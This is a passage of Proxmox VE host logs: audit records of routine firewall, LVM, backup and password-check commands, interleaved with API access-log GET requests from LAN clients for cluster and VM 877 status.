{"@timestamp":1781965709029,"@rawstring":"node=pve type=EXECVE msg=audit(1781965709.029:66771): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966288980,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:08 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965395103,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.103:65422): arch=c000003e syscall=59 success=yes exit=0 a0=7ffeddeae500 a1=56fd6a239310 a2=56fd6a232680 a3=5 items=2 ppid=62840 pid=62841 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096000,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.000:59554): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964615412,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.412:61792): arch=c000003e syscall=59 success=yes exit=0 a0=5b7845408ed0 a1=5b7845405c50 a2=5b78453e7680 a3=5 items=2 ppid=59297 pid=59303 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965709023,"@rawstring":"node=pve type=EXECVE msg=audit(1781965709.023:66768): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966288980,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965395099,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.099:65420): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62840 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964095992,"@rawstring":"node=pve type=EXECVE msg=audit(1781964095.992:59553): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964615408,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.408:61791): arch=c000003e syscall=59 success=yes exit=0 a0=5b783dd32ac8 a1=7fffff462990 a2=5b78453e7680 a3=5b783dd1624e items=2 ppid=59297 pid=59299 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965708796,"@rawstring":"node=pve type=EXECVE msg=audit(1781965708.796:66765): argc=4 a0=\"tar\" a1=\"-cvf\" a2=\"vzdump-qemu-877.tar\" a3=\"./vzdump-qemu-877-2026_06_20-15_17_31.vma.zst\""} {"@timestamp":1781966287758,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781965395093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.093:65419): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62839 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964095985,"@rawstring":"node=pve type=EXECVE msg=audit(1781964095.985:59552): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964615407,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.407:61790): arch=c000003e syscall=59 success=yes exit=0 a0=7fffff462950 a1=5b78453ee310 a2=5b78453e7680 a3=5 items=2 ppid=59297 pid=59298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705367,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.367:66764): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966287758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965395085,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.085:65418): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62838 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964094900,"@rawstring":"node=pve type=EXECVE msg=audit(1781964094.900:59551): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964615403,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.403:61788): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59297 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705364,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.364:66763): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966287758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:06 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965395079,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.079:65417): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc0c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62837 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964094871,"@rawstring":"node=pve type=EXECVE msg=audit(1781964094.871:59550): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964615396,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.396:61787): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59296 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705363,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.363:66762): argc=1 a0=\"date\""} {"@timestamp":1781966287758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:06 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965395071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.071:65416): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b1db0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62836 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964092898,"@rawstring":"node=pve type=EXECVE msg=audit(1781964092.898:59549): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964615389,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.389:61786): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705358,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.358:66760): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966286746,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781965395064,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.064:65415): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134590 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62835 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964092892,"@rawstring":"node=pve type=EXECVE msg=audit(1781964092.892:59546): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964615385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.385:61785): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2e40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59294 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705350,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.350:66759): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966285730,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:04 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 459"} {"@timestamp":1781965394890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965394.890:65414): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417940 a1=64f8d5936170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62834 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964087883,"@rawstring":"node=pve type=EXECVE msg=audit(1781964087.883:59543): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964615379,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.379:61784): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101420 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59293 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705339,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.339:66758): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966285730,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:04 +0100] \"GET /api2/extjs/cluster/sdn?_dc=1781966284563 HTTP/1.1\" 200 118"} {"@timestamp":1781965394866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965394.866:65413): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dd2a0 a1=64f8d1939980 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62833 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964087878,"@rawstring":"node=pve type=EXECVE msg=audit(1781964087.878:59540): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964615372,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.372:61783): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12fa10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59292 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705334,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.334:66757): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966285730,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:04 +0100] \"GET /api2/extjs/version?_dc=1781966284563 HTTP/1.1\" 200 84"} {"@timestamp":1781965392850,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965392.850:65412): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62829 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085973,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.973:59537): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964615036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.036:61782): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59291 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705324,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.324:66756): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966285730,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:04 +0100] \"GET /api2/extjs/cluster/options?_dc=1781966284563 HTTP/1.1\" 200 100"} {"@timestamp":1781965392842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965392.842:65409): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62828 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085969,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.969:59536): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964615028,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.028:61779): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59290 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705316,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.316:66754): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966285730,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:04 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965387836,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965387.836:65406): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085968,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.968:59535): argc=1 a0=\"date\""} {"@timestamp":1781964615020,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.020:61776): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d59f0 a1=64f8d7417e20 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59289 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705309,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.309:66753): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966283722,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1123"} {"@timestamp":1781965387829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965387.829:65403): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62826 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085964,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.964:59533): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964614992,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964614.992:61775): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740c560 a1=64f8d514f6f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59288 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705302,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.302:66752): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966283722,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 462"} {"@timestamp":1781965386054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965386.054:65399): arch=c000003e syscall=59 success=yes exit=0 a0=5c0daebd3b20 a1=5c0daebdfe40 a2=5c0daebad680 a3=5 items=2 ppid=62818 pid=62824 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085958,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.958:59532): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964612343,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964612.343:61773): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=718e590ccda6 a2=80000 a3=0 items=1 ppid=1216 pid=59285 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781965705294,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.294:66751): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966283722,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:02 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965386047,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965386.047:65398): arch=c000003e syscall=59 success=yes exit=0 a0=5c0d6ff7cac8 a1=7ffc5c7934b0 a2=5c0daebad680 a3=5c0d6ff6024e items=2 ppid=62818 pid=62820 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085951,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.951:59531): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964612341,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964612.341:61772): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59285 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781965705286,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.286:66750): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966283722,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:02 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965386046,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965386.046:65397): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc5c793470 a1=5c0daebcf1c0 a2=5c0daebad680 a3=5 items=2 ppid=62818 pid=62819 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085945,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.945:59530): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964612303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964612.303:61771): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=71c34227ada6 a2=80000 a3=0 items=1 ppid=1216 pid=59284 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781965705282,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.282:66749): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966283722,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965386042,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965386.042:65395): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62818 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085938,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.938:59529): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964612300,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964612.300:61770): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59284 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781965705273,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.273:66748): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966282715,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1123"} {"@timestamp":1781965386034,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965386.034:65394): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62817 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085932,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.932:59527): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964610022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964610.022:61769): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59283 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705264,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.264:66747): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966281627,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:00 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965386029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965386.029:65393): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62816 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085927,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.927:59526): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964610007,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964610.007:61766): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59282 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705260,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.260:66746): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966281627,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:00 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1123"} {"@timestamp":1781965386021,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965386.021:65392): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62815 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 